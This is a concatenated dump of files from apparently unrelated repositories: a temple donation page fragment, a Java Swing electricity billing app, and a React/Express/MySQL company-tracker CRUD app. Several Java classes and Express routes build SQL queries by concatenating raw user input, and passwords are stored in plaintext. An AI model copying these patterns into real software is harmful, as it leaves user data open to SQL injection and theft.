tithe weekly/monthly/quarterly or any other duration you like. For this method, you will need to do a one time donation on the checkout page below and then email us - once we are contacted we are able to set up a recurring tithe. We accept Mastercard, Visa, Discover, and American Express credit cards. <br/><br/> <strong>Automatic deduction (You set it up): </strong>Set up an automatic monthly payment through your <strong>bank website</strong> or <strong>paypal </strong>website or <strong>credit card </strong>website. (We will receive a check written by your bank). This method is free with most banks and credit cards and we don't receive service charges! If setting up on your own: Payee name: <NAME>, Address: <u>379 West 8th Ave Columbus, OH 43201.</u> If you have any questions, call us at 614-421-1661 or stop by in the temple. <br/><br/> <strong>Make Checks Payable </strong>to "ISKCON Columbus" with the memo "Tithe" <br/><br/> <strong>Delivery options: </strong>Send check by mail or put it in the hundi. <br/><br/> <strong>Cash: </strong>Put an envelope in the hundi marked with your name or stop by at the temple office 10 AM - 8 PM.</h5> <br/><br/><br/> We are a 501 (C) (3) non-profit charity organization. Our IRS tax id is xx-xxxxxx and all donations made to “ISKCON Columbus” are tax deductible. </div> <!-- /.panel-body --> </div> <!-- /.panel --> </div> <!-- /.col-lg-6 --> </div> <file_sep>/app/js/scrip.js //$(document).ready(function() { // $(window).stellar(); // //}); $(document).ready( function() { // $("html").niceScroll({ // cursorcolor:"rgba(30,30,30,.5)", // zindex:999, // scrollspeed:100, // mousescrollstep:50, // cursorborder:"0px solid #fff", // }); } ); <file_sep>/app/scripts/controllers/main.js 'use strict'; /** * @ngdoc function * @name iskconApp.controller:MainCtrl * @description * # MainCtrl * Controller of the iskconApp */ angular.module('iskconApp') .controller('MainCtrl', function($scope,$position) { console.log("MainCtrl"); $scope.status = ' '; $scope.customFullscreen = false; $scope.showPrompt = function(ev) { console.log("showPrompt clicked") // Appending dialog to document.body to cover sidenav in docs app var confirm = $mdDialog.prompt() .title('What would you name your dog?') .textContent('Bowser is a common name.') .placeholder('Dog name') .ariaLabel('Dog name') .initialValue('Buddy') .targetEvent(ev) .ok('Okay!') .cancel('I\'m a cat person'); $mdDialog.show(confirm).then(function(result) { $scope.status = 'You decided to name your dog ' + result + '.'; }, function() { $scope.status = 'You didn\'t name your dog.'; }); }; });
f8644a422dcb874fe6f9a364d99e316cae55627c
[ "JavaScript", "HTML" ]
3
HTML
a9magic/iskconcolumbus-old
e267d3bf39ae0e4155e8035c279c2347984de16d
55d04a9e56d059f01383f1b8dfc154325e5ee112
refs/heads/master
<file_sep>/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package electricitybilling; /** * * @author Ankur */ import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.sql.*; public class signup extends JFrame implements ActionListener{ JLabel l1,l2,l3,l4,l5,l6,l7,l8; JTextField t1,t2,t3,t4,t5,t6,t7; JButton b1,b2; signup(){ setLocation(350,200); setSize(800,700); JPanel p = new JPanel(); p.setLayout(new GridLayout(9,2,10,10)); p.setBackground(Color.CYAN); l1 = new JLabel("Name"); t1 = new JTextField(30); p.add(l1); p.add(t1); l2 = new JLabel("Phone"); t2 = new JTextField(10); p.add(l2); p.add(t2); l3 = new JLabel("Meter Number(10000-10011)"); t3 = new JTextField(5); p.add(l3); p.add(t3); l4 = new JLabel("State"); t4 = new JTextField(20); p.add(l4); p.add(t4); l5 = new JLabel("Set Username"); t5 = new JTextField(20); p.add(l5); p.add(t5); l6 = new JLabel("Set Password"); t6 = new JTextField(20); p.add(l6); p.add(t6); l7 = new JLabel("Email"); t7 = new JTextField(30); p.add(l7); p.add(t7); b1 = new JButton("Submit"); b2 = new JButton("Cancel"); b1.setBackground(Color.BLACK); b1.setForeground(Color.CYAN); b2.setBackground(Color.BLACK); b2.setForeground(Color.CYAN); p.add(b1); p.add(b2); setLayout(new BorderLayout()); add(p,"Center"); ImageIcon ic1 = new ImageIcon(ClassLoader.getSystemResource("icons/signup.png")); Image i3 = ic1.getImage().getScaledInstance(300, 300,Image.SCALE_DEFAULT); ImageIcon ic2 = new ImageIcon(i3); l8 = new JLabel(ic2); add(l8,"West"); //for changing the color of the whole getContentPane().setBackground(Color.CYAN); b1.addActionListener(this); b2.addActionListener(this); } public void actionPerformed(ActionEvent ae){ if(ae.getSource()==b1){ String a = t1.getText(); String c = t2.getText(); String d = t3.getText(); String e = t4.getText(); String f = t5.getText(); String g = t6.getText(); String h = t7.getText(); try{ connect c1 = new connect(); c1.s.executeUpdate("insert into userlogin values('"+f+"','"+g+"')"); c1.s.executeUpdate("insert into user values('"+a+"','"+c+"','"+d+"','"+e+"','"+h+"','"+f+"')"); JOptionPane.showMessageDialog(null,"New User Created"); this.setVisible(false); new loginuser().setVisible(true); this.setVisible(false); }catch(Exception ex){ ex.printStackTrace(); } }else if(ae.getSource()==b2){ System.exit(0); } } public static void main(String[] args){ new signup().setVisible(true); } }<file_sep>**Electricity Billing System** Tech Stack Used: Java/Java Swing MySQL Aim: For an electricity consumer, to be able to pay/generate their electricity bill. Things kept in mind: Users will be able to create and login into their account and get their bills generated on the basis of their location and meter rent. Users can only take a look at their bills. They cannot create their own bills and add meter readings, as this can lead to bluffing. Admins will have their respective id/password, through which they can login and can upload bills of different customers based on their meterID. Admins can also look at the details of various bills and customers. Database Information: Table 1: User having attributes name, phone, meter_no, state, email, username Table 2: Userlogin having attributes username, password Table 3: bill having attributes meter_no, month and bill Table 4: state_tax having attributes state and tax Table 5: login(admin) having attributes username, password Table 6: Meter_type having attributes type_name and rent Table 5: Meter having attributes meter_no and type_name Steps to run the application: import the databases into mysql database. Connect - connect class with mysql using JDBC jar file. Run flash class. Preview of different classes are as follows: ![Screenshot (164)](https://user-images.githubusercontent.com/48882133/88774238-cf3bd980-d1a0-11ea-82b3-9380be95a6f7.png) This is the opening screen. After this user/admin is needed to be selected. ![Screenshot (165)](https://user-images.githubusercontent.com/48882133/88774427-1033ee00-d1a1-11ea-9330-fd5ec03180ca.png) If admin is selected following screen will appear: ![Screenshot (166)](https://user-images.githubusercontent.com/48882133/88774513-2e015300-d1a1-11ea-89c8-2c6271bf6d10.png) ![Screenshot (179)](https://user-images.githubusercontent.com/48882133/88774540-36598e00-d1a1-11ea-94d8-b4950bc38f97.png) If view users is selected : ![Screenshot (168)](https://user-images.githubusercontent.com/48882133/88774579-3eb1c900-d1a1-11ea-82ad-d3c6a31a512d.png) If Generate a bill is selected: Meter no. and units consumed is needed and then corresponding bills will be generated as shown below. ![Screenshot (170)](https://user-images.githubusercontent.com/48882133/88774837-905a5380-d1a1-11ea-92ff-5c0455973e4a.png) ![Screenshot (171)](https://user-images.githubusercontent.com/48882133/88774850-95b79e00-d1a1-11ea-80b5-b9fbf9aa7dc2.png) If an admin wants to delete a user, he just needs to enter the unique username to do so. ![Screenshot (169)](https://user-images.githubusercontent.com/48882133/88774934-ae27b880-d1a1-11ea-9996-12b420bb36d3.png) If user is selected: ![Screenshot (166)](https://user-images.githubusercontent.com/48882133/88774978-bda70180-d1a1-11ea-9011-fd9bb2614e97.png) They can see their profile details on login. ![Screenshot (177)](https://user-images.githubusercontent.com/48882133/88775010-ca2b5a00-d1a1-11ea-9b25-b291f7f23659.png) If users click on get bill, they can take a look at the bills as updated by the admin. ![Screenshot (178)](https://user-images.githubusercontent.com/48882133/88775041-d6afb280-d1a1-11ea-8804-5a0c1ad107df.png) <file_sep>/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package electricitybilling; /** * * @author Ankur */ import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.sql.*; public class seebill extends JFrame implements ActionListener{ JLabel l2; JTextArea t1; JButton b1,b2; JTextField c3; Choice c2; JPanel p1,p2; seebill(){ setSize(700,900); setLayout(new BorderLayout()); p1 = new JPanel(); p2 = new JPanel(); l2 = new JLabel("Meter Number:"); c2 = new Choice(); c3 = new JTextField("",5); c2.add("January"); c2.add("February"); c2.add("March"); c2.add("April"); c2.add("May"); c2.add("June"); c2.add("July"); c2.add("August"); c2.add("September"); c2.add("October"); c2.add("November"); c2.add("December"); t1 = new JTextArea(50,15); JScrollPane jsp = new JScrollPane(t1); t1.setFont(new Font("Senserif",Font.ITALIC,18)); t1.setBackground(Color.cyan); b1 = new JButton("Get Bill"); b2 = new JButton("Back"); p1.add(l2); p1.add(c3); p1.add(c2); add(p1,"North"); add(jsp,"Center"); p2.add(b1); p2.add(b2); add(p2,"South"); b1.addActionListener(this); b2.addActionListener(this); setLocation(350,40); } public void actionPerformed(ActionEvent ae){ if(ae.getSource()==b1){ try{ connect c = new connect(); ResultSet rs = c.s.executeQuery("select * from bill where meter_no='"+c3.getText()+"' and month='"+c2.getSelectedItem()+"'"); if(rs.next()){ t1.append(rs.getString("bill")); } }catch(Exception e){ e.printStackTrace(); } }else if(ae.getSource()==b2){ new userhome().setVisible(true); this.setVisible(false); } } public static void main(String[] args){ new seebill().setVisible(true); } } <file_sep>package electricitybilling; import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.sql.*; /** * * @author ASUS */ public class First extends JFrame implements ActionListener { JLabel l1,l2; JButton b1,b2; First(){ super("Who are you"); JPanel p = new JPanel(); l1 = new JLabel("Who are you?"); add(l1,SwingConstants.CENTER); b1=new JButton("Admin"); b2=new JButton("User"); b1.addActionListener(this); b2.addActionListener(this); b1.setPreferredSize(new Dimension(116, 40)); b2.setPreferredSize(new Dimension(116, 40)); b1.setFont(new java.awt.Font("Georgia", Font.BOLD, 14)); b1.setBackground(Color.BLACK); b1.setForeground(Color.WHITE); b2.setFont(new java.awt.Font("Georgia", Font.BOLD, 14)); b2.setBackground(Color.BLACK); b2.setForeground(Color.WHITE); setLayout(new BorderLayout()); add(l1); add(p,BorderLayout.SOUTH); p.add(b1); p.add(b2); setSize(400,200); setLocation(600,400); setVisible(true); } @Override public void actionPerformed(ActionEvent e) { if (e.getSource() == b1){ new login().setVisible(true); this.setVisible(false); } else if (e.getSource() == b2){ new loginuser().setVisible(true); this.setVisible(false); } } public static void main(String[]args){ new First().setVisible(true); } } <file_sep>package electricitybilling; import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.sql.*; /** * * @author ASUS */ public class delete extends JFrame implements ActionListener { JButton b1,b2; JLabel l; JTextField f; delete(){ super("Delete User"); JPanel p1 = new JPanel(); JPanel p2 = new JPanel(); JPanel p3 = new JPanel(); l = new JLabel("Enetr Username of the user to be deleted : "); b1=new JButton("Delete"); b2=new JButton("Back"); b1.addActionListener(this); b2.addActionListener(this); b1.setPreferredSize(new Dimension(116, 40)); b1.setFont(new java.awt.Font("Georgia", Font.BOLD, 14)); b1.setBackground(Color.BLACK); b1.setForeground(Color.WHITE); b2.setPreferredSize(new Dimension(116, 40)); b2.setFont(new java.awt.Font("Georgia", Font.BOLD, 14)); b2.setBackground(Color.BLACK); b2.setForeground(Color.WHITE); f = new JTextField("",5); setLayout(new BorderLayout()); add(l); add(f); add(p1,BorderLayout.SOUTH); p1.add(b1); p1.add(b2); add(p2,BorderLayout.EAST); p2.add(f); add(p3,BorderLayout.WEST); p3.add(l); setSize(400,250); setLocation(600,400); setVisible(true); } @Override public void actionPerformed(ActionEvent ae) { if (ae.getSource() == b1){ String m = f.getText(); try{ connect c = new connect(); //ResultSet r = c.s.executeQuery("select usrname from user natural join userlogin where meter_no='"+m+"'"); //c.s.executeUpdate("delete from bill where meter_no='"+m+"'"); c.s.executeUpdate("delete from user where usrname='"+m+"'"); c.s.executeUpdate("delete from userlogin where usrname='"+m+"'"); JOptionPane.showMessageDialog(null, "User Deleted Succesfully"); }catch(Exception e){ e.printStackTrace(); } }else if(ae.getSource()==b2){ new adminhome().setVisible(true); this.setVisible(false); } } public static void main(String[]args){ new delete().setVisible(true); } }
806363ee38270e3971e39a3f11f3de7a1b0b0d38
[ "Markdown", "Java" ]
5
Java
ElectricityManagement/final
941f16bcdae5c686099520419094dd80f09b53c3
e4805cdd9e09828ef501f1d76fac548f1a92e0f8
refs/heads/master
<repo_name>allenjwelch/company_tracker<file_sep>/client/src/views/Compare/Compare.jsx import React from 'react'; import { Redirect } from 'react-router-dom' import './style.scss'; import API from '../../utils/API'; import CompCard from '../../components/CompCard/CompCard' class Compare extends React.Component { state = { allCompanies: '', sort: '', } componentDidMount() { this.getAllCompanies() console.log(this.props) } handleInputChange = (e) => { const { name, value } = e.target; this.setState({ [name]: value }, () => console.log(this.state)); }; getAllCompanies() { API.getAllCompanies() .then(res => this.setState({allCompanies: res.data, }, () => { console.log(this.state.allCompanies, "state.allCompanies"); })) .catch(err => console.log(err)) } render() { if (this.props.user === '' || this.props.user === null ) { return <Redirect to='/' /> } return ( <section className='compare-page'> <h1>Compare View</h1> <div className="sort"> <select type="text" name="sort" value={this.state.sort} onChange={this.handleInputChange} > <option value="">Choose a sort option</option> <option value="address">Address</option> <option value="description">Description</option> <option value="finance">Finance Records</option> <option value="status">Status</option> </select> </div> <div className="companies-grid"> { this.state.sort === 'address' ? this.state.allCompanies.map(comp => { return <CompCard key={comp.id} card="address" name={comp.name} address={comp.street_address} city={comp.city} state={comp.state} phone={comp.phone} /> }) : this.state.sort === 'description' ? this.state.allCompanies.map(comp => { return <CompCard key={comp.id} card="description" name={comp.name} description={comp.description} contact_name={comp.contact_name} contact_phone={comp.contact_phone} /> }) : this.state.sort === 'finance' ? this.state.allCompanies.map(comp => { return <CompCard key={comp.id} id={comp.id} card="finance" name={comp.name} // earn1={comp.financial_earnings_income_1} // earn2={comp.financial_earnings_income_2} // earn3={comp.financial_earnings_income_3} // earn4={comp.financial_earnings_income_4} // year1={comp.financial_earnings_year_1} // year2={comp.financial_earnings_year_2} // year3={comp.financial_earnings_year_3} // year4={comp.financial_earnings_year_4} expected={comp.financial_revenue_expected} total={comp.financial_revenue_total} /> }) : this.state.sort === 'status' ? this.state.allCompanies.map(comp => { return <CompCard key={comp.id} card="status" name={comp.name} status={comp.status} description={comp.description} /> }) : <div></div> } </div> </section> ) } } export default Compare; <file_sep>/config/schema.sql CREATE DATABASE tracker; USE tracker; CREATE TABLE companies ( id Int( 11 ) AUTO_INCREMENT NOT NULL, name VARCHAR( 255) NOT NULL, description VARCHAR(255), status VARCHAR( 255 ), street_address VARCHAR( 255 ), city VARCHAR(255), state VARCHAR(255), phone VARCHAR(255), contact_name VARCHAR(255), contact_phone VARCHAR(255), financial_revenue_total VARCHAR( 255 ), financial_revenue_expected VARCHAR( 255 ), financial_earnings_year_1 VARCHAR( 255 ), financial_earnings_income_1 VARCHAR( 255 ), financial_earnings_year_2 VARCHAR( 255 ), financial_earnings_income_2 VARCHAR( 255 ), financial_earnings_year_3 VARCHAR( 255 ), financial_earnings_income_3 VARCHAR( 255 ), financial_earnings_year_4 VARCHAR( 255 ), financial_earnings_income_4 VARCHAR( 255 ), PRIMARY KEY (id) ); INSERT INTO companies(name, status, description, street_address, city, state, phone, contact_name, contact_phone, financial_revenue_total, financial_revenue_expected, financial_earnings_year_1, financial_earnings_income_1, financial_earnings_year_2, financial_earnings_income_2, financial_earnings_year_3, financial_earnings_income_3, financial_earnings_year_4, financial_earnings_income_4) VALUES ('LexCorp', 'Pending Approval', 'Lorem ipsum dolor sit amet consectetur adipisicing elit. Rerum, ducimus?', '123 Main St.', 'Atlanta' , 'Georgia', '123-456-1234', '<NAME>', '111-111-2222', '87928', '10000000', '2015', '879834', '2016', '329874', '2017', '9087423', '2018', '897234'), ('Weyland-Yutani', 'Approved', 'Lorem ipsum dolor sit amet consectetur adipisicing elit. Nihil iusto quos tempora maiores deleniti quam fuga, iste cupiditate error quod.', '125 Main St.', 'Atlanta' , 'Georgia', '404-222-3434', '<NAME>', '234-456-3333', '7830000', '8000000', '2015', '91283', '2016', '67899', '2017', '123452', '2018', '563478'), ('Umbrella Corporation', 'Declined', 'Lorem ipsum dolor sit amet consectetur adipisicing elit. Nihil iusto quos tempora maiores deleniti quam fuga, iste cupiditate error quod.', '125 Main St.', 'Atlanta' , 'Georgia', '404-222-3434', 'Alice', '234-456-3333', '7830000', '8000000', '2015', '555555', '2016', '444444', '2017', '33333', '2018', '22222'), ('Cyberdyne Systems', 'Pending Approval', 'Lorem ipsum dolor sit amet consectetur adipisicing elit. Nihil iusto quos tempora maiores deleniti quam fuga, iste cupiditate error quod.', '555 NoneYa St.', 'Los Angeles' , 'California', '999-222-9999', '<NAME>', '234-456-3333', '800000', '1000000', '1996', '6384938', '1997', '78394857', '1998', '872839485', '1999', '99999999'); <file_sep>/client/src/components/CompCard/CompCard.jsx import React from 'react'; // import { Link } from "react-router-dom"; import Chart from 'chart.js'; import './style.scss'; class CompCard extends React.Component { componentDidMount() { console.log(this.props) // this.chartjs() } chartjs() { const revenue = document.querySelector(`#earning-chart[data-id="${this.props.id}"]`); // console.log(revenue); let barChart1 = new Chart(revenue, { type: "bar", data: { labels: [ this.props.year1, this.props.year2, this.props.year3, this.props.year4, ], datasets: [ { label: "These things...", data: [ this.props.earn1, this.props.earn2, this.props.earn3, this.props.earn4, ], backgroundColor: [ 'rgba(0, 150, 0, .5)', 'rgba(150, 150, 0, .5)', 'rgba(0, 150, 150, .5)', 'rgba(150, 150, 150, .5)'], }, ] } }); } render() { return ( // <article key={this.props.comp.id} className="comp-card"> <article className="comp-card"> <h1>{this.props.name}</h1> <div className="data"> { this.props.card === 'address' ? <div className="address"> <p>{this.props.address}</p> <p>{this.props.city}, {this.props.state}</p> <p>{this.props.phone}</p> </div> : this.props.card === 'description' ? <div className="description"> <p>{this.props.description}</p> <p>{this.props.contact_name}: {this.props.contact_phone}</p> </div> : this.props.card === 'finance' ? <div className="finance"> <p><span>Expected Revenue: </span>${this.props.expected}</p> <p><span>Total Revenue: </span>${this.props.total}</p> <p className="total"><span>Loss/Gain: </span>${this.props.total - this.props.expected}</p> {/* <div className="chart"> <canvas id="earning-chart" data-id={this.props.id} height="200px" width="200px"></canvas> </div> */} </div> : this.props.card === 'status' ? <div className="status"> <p className="ital">{this.props.status}</p> <p>{this.props.description}</p> </div> : <></> } </div> </article> ) } } export default CompCard; <file_sep>/client/src/views/Add/Add.jsx import React from 'react'; import { Redirect } from 'react-router-dom' import './style.scss'; import API from '../../utils/API'; class Add extends React.Component { state = { // comp: { name: '', status: '', phone: '', street_address: '', city: '', state: '', description: '', contact_name:'', contact_phone: '', financial_earnings_year_1: '', financial_earnings_income_1: '', financial_earnings_year_2: '', financial_earnings_income_2: '', financial_earnings_year_3: '', financial_earnings_income_3: '', financial_earnings_year_4: '', financial_earnings_income_4: '', financial_revenue_expected: '', financial_revenue_total: '', // } } componentDidMount() { console.log(this.props) } handleInputChange = (e) => { const { name, value } = e.target; this.setState({ [name]: value }); }; handleFormSubmit = (e) => { e.preventDefault(); API.postNewCompany(this.state) .then(res => console.log(res.data)) .catch(err => console.log(err)) .then(console.log('company added...')) .then(() => this.setState({ toCatalog: true })) }; render() { if (this.state.toCatalog === true) { return <Redirect to='/catalog' /> } else if (this.props.user === '' || this.props.user === null ) { return <Redirect to='/' /> } return ( <section className='add-page'> <h1>Add a Company</h1> <div className="form"> <div className="col"> <input type="text" name="name" value={this.state.name} onChange={this.handleInputChange} placeholder="Company Name" /> <select type="text" name="status" value={this.state.status} onChange={this.handleInputChange} placeholder="Status" > <option value=""></option> <option value="Reasearching">Reasearching</option> <option value="Pending Approval">Pending Approval</option> <option value="Approved">Approved</option> <option value="Declined">Declined</option> </select> <input type="text" name="phone" value={this.state.phone} onChange={this.handleInputChange} placeholder="Phone" /> <input type="text" name="street_address" value={this.state.street_address} onChange={this.handleInputChange} placeholder="Address" /> <input type="text" name="city" value={this.state.city} onChange={this.handleInputChange} placeholder="City" /> <input type="text" name="state" value={this.state.state} onChange={this.handleInputChange} placeholder="State" /> </div> <div className="col"> <textarea type="text" name="description" value={this.state.description} onChange={this.handleInputChange} placeholder="Description" /> <input type="text" name="contact_name" value={this.state.contact_name} onChange={this.handleInputChange} placeholder="Contact Name" /> <input type="text" name="contact_phone" value={this.state.contact_phone} onChange={this.handleInputChange} placeholder="Contact Phone" /> </div> <div className="finance"> <input type="text" name="financial_earnings_year_1" value={this.state.financial_earnings_year_1} onChange={this.handleInputChange} placeholder="financial_earnings_year_1" /> <input type="text" name="financial_earnings_income_1" value={this.state.financial_earnings_income_1} onChange={this.handleInputChange} placeholder="financial_earnings_income_1" /> <input type="text" name="financial_earnings_year_2" value={this.state.financial_earnings_year_2} onChange={this.handleInputChange} placeholder="financial_earnings_year_2" /> <input type="text" name="financial_earnings_income_2" value={this.state.financial_earnings_income_2} onChange={this.handleInputChange} placeholder="financial_earnings_income_2" /> <input type="text" name="financial_earnings_year_3" value={this.state.financial_earnings_year_3} onChange={this.handleInputChange} placeholder="financial_earnings_year_3" /> <input type="text" name="financial_earnings_income_3" value={this.state.financial_earnings_income_3} onChange={this.handleInputChange} placeholder="financial_earnings_income_3" /> <input type="text" name="financial_earnings_year_4" value={this.state.financial_earnings_year_4} onChange={this.handleInputChange} placeholder="financial_earnings_year_4" /> <input type="text" name="financial_earnings_income_4" value={this.state.financial_earnings_income_4} onChange={this.handleInputChange} placeholder="financial_earnings_income_4" /> <input type="text" name="financial_revenue_expected" value={this.state.financial_revenue_expected} onChange={this.handleInputChange} placeholder="financial_revenue_expected" /> <input type="text" name="financial_revenue_total" value={this.state.financial_revenue_total} onChange={this.handleInputChange} placeholder="financial_revenue_total" /> </div> <button onClick={this.handleFormSubmit}> Add Company </button> </div> </section> ) } } export default Add; <file_sep>/routes/api/companies.js const router = require("express").Router(); var connection = require("../../config/connection.js"); // Completes api path to .../xxx/comp/... router.get("/all", (req, res) => { console.log("Companies API has been hit"); connection.query(` SELECT * FROM companies;`, function(err, data) { if (err) throw err; // console.log(data); res.send(data); }); }); router.post('/new', (req, res) => { //CURRENTLY DOES NOT CHECK FOR DUPLICATES console.log("POST company data: ", req.body) connection.query(` INSERT INTO companies(name, status, description, street_address, city, state, phone, contact_name, contact_phone, financial_revenue_total, financial_revenue_expected, financial_earnings_year_1, financial_earnings_income_1, financial_earnings_year_2, financial_earnings_income_2, financial_earnings_year_3, financial_earnings_income_3, financial_earnings_year_4, financial_earnings_income_4) VALUES ( '${req.body.compInfo.name}', '${req.body.compInfo.status}', '${req.body.compInfo.description}', '${req.body.compInfo.street_address}', '${req.body.compInfo.city}', '${req.body.compInfo.state}', '${req.body.compInfo.phone}', '${req.body.compInfo.contact_name}', '${req.body.compInfo.contact_phone}', '${req.body.compInfo.financial_revenue_total}', '${req.body.compInfo.financial_revenue_expected}', '${req.body.compInfo.financial_earnings_year_1}', '${req.body.compInfo.financial_earnings_income_1}', '${req.body.compInfo.financial_earnings_year_2}', '${req.body.compInfo.financial_earnings_income_2}', '${req.body.compInfo.financial_earnings_year_3}', '${req.body.compInfo.financial_earnings_income_3}', '${req.body.compInfo.financial_earnings_year_4}', '${req.body.compInfo.financial_earnings_income_4}');`, (err, data) => { if (err) throw err; res.send(data); }) }) router.put("/update", (req, res) => { console.log("Updating: ", req.body.compUpdate); connection.query(` UPDATE companies SET name = '${req.body.compUpdate.name}', status = '${req.body.compUpdate.status}', description = '${req.body.compUpdate.description}', street_address = '${req.body.compUpdate.street_address}', city = '${req.body.compUpdate.city}', state = '${req.body.compUpdate.state}', phone = '${req.body.compUpdate.phone}', contact_name = '${req.body.compUpdate.contact_name}', contact_phone = '${req.body.compUpdate.contact_phone}', financial_revenue_total = '${req.body.compUpdate.financial_revenue_total}', financial_revenue_expected = '${req.body.compUpdate.financial_revenue_expected}', financial_earnings_year_1 = '${req.body.compUpdate.financial_earnings_year_1}', financial_earnings_income_1 = '${req.body.compUpdate.financial_earnings_income_1}', financial_earnings_year_2 = '${req.body.compUpdate.financial_earnings_year_2}', financial_earnings_income_2 = '${req.body.compUpdate.financial_earnings_income_2}', financial_earnings_year_3 = '${req.body.compUpdate.financial_earnings_year_3}', financial_earnings_income_3 = '${req.body.compUpdate.financial_earnings_income_3}', financial_earnings_year_4 = '${req.body.compUpdate.financial_earnings_year_4}', financial_earnings_income_4 = '${req.body.compUpdate.financial_earnings_income_4}' WHERE id = '${req.body.compUpdate.id}';`, (err, data) => { if (err) throw err; res.send(data); }) }); router.delete("/byefelicia/:id/", (req, res) => { console.log("Deleting company: ", req.params) connection.query(` DELETE FROM companies WHERE id = '${req.params.id}';`, (err, data) => { if (err) throw err; res.send(data); }) }) module.exports = router; <file_sep>/client/src/views/Home/Home.jsx import React from 'react'; import logo from '../../assets/icons/radar.gif'; import './style.scss'; class Home extends React.Component { componentDidMount() { console.log(this.props) } render() { return ( <section className='home-page'> <h1>Company Tracker</h1> <img src={logo} className="logo" alt="logo" /> { this.props.user.length > 0 ? <div className="intro"> <h3>Getting started with Company Tracker: </h3> <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Asperiores, recusandae exercitationem! Porro autem error esse totam inventore expedita cum veniam tempora libero doloribus laudantium, soluta earum odio, cumque quae ut. Illo laudantium distinctio aliquam, quidem eos vel similique dignissimos sapiente.</p> </div> : <h3>Sign in to continue...</h3> } </section> ) } } export default Home; <file_sep>/client/src/App.js import React, { Component } from 'react'; import { BrowserRouter as Router, Route } from "react-router-dom"; // import About from './views/About/About'; import Home from './views/Home/Home'; import Catalog from './views/Catalog/Catalog'; import Compare from './views/Compare/Compare'; import Add from './views/Add/Add'; import Edit from './views/Edit/Edit'; import Header from './components/Header/Header'; import SignIn from './components/SignIn/SignIn'; import './App.css'; class App extends Component { state = { user: '' } signOut() { this.setState({user: ''}, () => { localStorage.removeItem('token') // window.location.href = '/'; }) } signInModal() { document.querySelector('.sign-in-container').classList.add('active'); } signIn() { this.setState({user: document.getElementById('userName').value}, () => { localStorage.setItem('token', this.state.user) }) document.querySelector('.sign-in-container').classList.remove('active'); } signOut = this.signOut.bind(this); signIn = this.signIn.bind(this); render() { return ( <Router> <div className="App"> <Header user={this.state.user} signOut={this.signOut} signInModal={this.signInModal}/> <Route exact path="/" render={() => <Home user={this.state.user}/>} /> <Route exact path="/catalog" render={() => <Catalog user={this.state.user}/>} /> <Route exact path="/compare" render={() => <Compare user={this.state.user}/>} /> <Route exact path="/add" render={() => <Add user={this.state.user}/>} /> <Route exact path="/edit" component={Edit} /> {/* <Route exact path="/edit" render={() => <Edit user={this.state.user}/>} /> */} <SignIn signIn={this.signIn}/> </div> </Router> ); } } export default App; <file_sep>/client/src/components/SignIn/SignIn.jsx import React from 'react'; import './style.scss'; const SignIn = (props) => { return ( <div className="sign-in-container"> <article className="sign-in"> <h3>Enter your name.</h3> <input id="userName" type="text"/> <input type="submit" onClick={props.signIn} value="Sign In"/> </article> <div className="overlay"></div> </div> ) } export default SignIn; <file_sep>/README.md # Company Tracker ### v1.0.0 #### GitHub: https://github.com/allenjwelch/company_tracker #### Heroku: https://company-tracker-v1.herokuapp.com/ ## Description: CRUD application for tracking potential companies and clients. Features: - Sign In: Currently only temporarily records user name. Able to be expanded to include password, tokens, and record keeping of active users. - Catalog View: Collapsible list of all data. - Compare View: Sorted grid of selected sort criteria - Add, Edit, & Delete ![title image](title.png) ## Prerequisites / Dependencies To duplicate you will need the following things properly installed on your computer. * [Git](http://git-scm.com/) * [Express.js](https://expressjs.com/) * [React.js](https://reactjs.org/) * [Node.js](http://nodejs.org/) - body-parser ## Installation * `git clone <repository-url>` this repository * change into the new directory * `npm install` ## Running / Development * npm start (to start development server) <file_sep>/client/src/utils/API.js import axios from 'axios'; export default { getAllCompanies: function() { // just for testing.. return axios.get(`/xxx/comp/all`) }, postNewCompany: function(compInfo) { return axios.post(`/xxx/comp/new`, {compInfo}) }, editCompanyById: function(compUpdate) { return axios.put(`/xxx/comp/update`, {compUpdate}); }, deleteCompany: function(id) { return axios.delete(`/xxx/comp/byefelicia/${id}/`) }, getCompanyByName: function(id) { return axios.get(`/xxx/comp/${id}`) }, }; <file_sep>/client/src/views/Edit/Edit.jsx import React from 'react'; import API from '../../utils/API'; import { Redirect } from 'react-router-dom' import '../Add/style.scss'; class Edit extends React.Component { state = { toCatalog: false, } componentDidMount() { console.log(this.props) const { comp } = this.props.location.state.comp console.log(comp) console.log(this.props.location.state.comp.user); this.setState({ // comp: { id: comp.id, name: comp.name, status: comp.status, phone: comp.phone, street_address: comp.street_address, city: comp.city, state: comp.state, description: comp.description, contact_name: comp.contact_name, contact_phone: comp.contact_phone, financial_earnings_year_1: comp.financial_earnings_year_1, financial_earnings_income_1: comp.financial_earnings_income_1, financial_earnings_year_2: comp.financial_earnings_year_2, financial_earnings_income_2: comp.financial_earnings_income_2, financial_earnings_year_3: comp.financial_earnings_year_3, financial_earnings_income_3: comp.financial_earnings_income_3, financial_earnings_year_4: comp.financial_earnings_year_4, financial_earnings_income_4: comp.financial_earnings_income_4, financial_revenue_expected: comp.financial_revenue_expected, financial_revenue_total: comp.financial_revenue_total // }, }, () => { console.log(this.state) }) } handleInputChange = (e) => { const { name, value } = e.target; this.setState({ [name]: value }); }; handleFormSubmit = (e) => { e.preventDefault(); console.log(this.state) API.editCompanyById(this.state) // .then(res => this.setState({ recipes: res.data })) .catch(err => console.log(err)) .then(console.log('company updated...')) .then(() => this.setState({ toCatalog: true })) }; deleteComp = () => { API.deleteCompany(this.state.id) .catch(err => console.log(err)) .then(console.log('company deleted...')) .then(() => this.setState({ toCatalog: true })) } render() { if (this.state.toCatalog === true) { return <Redirect to='/catalog' /> } else if (this.props.location.state.user === '' || this.props.location.state.user === null ) { return <Redirect to='/' /> } return ( this.state ? <section className='edit-page'> <h1>Update or Delete</h1> <div className="form"> <div className="col"> <input type="text" name="name" value={this.state.name} onChange={this.handleInputChange} placeholder="Company Name" /> <select type="text" name="status" value={this.state.status} onChange={this.handleInputChange} placeholder="Status" > <option value=""></option> <option value="Reasearching">Reasearching</option> <option value="Pending Approval">Pending Approval</option> <option value="Approved">Approved</option> <option value="Declined">Declined</option> </select> <input type="text" name="phone" 